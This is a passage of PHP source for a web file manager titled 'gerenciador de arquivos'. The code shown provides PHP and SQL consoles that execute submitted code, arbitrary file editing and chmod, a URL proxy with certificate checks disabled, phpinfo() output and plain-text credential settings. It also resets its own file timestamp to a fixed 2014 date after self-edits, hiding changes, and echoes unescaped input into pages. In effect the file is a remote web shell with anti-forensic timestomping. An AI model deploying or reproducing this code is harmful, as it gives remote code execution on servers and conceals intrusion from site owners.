		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>gerenciador de arquivos</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
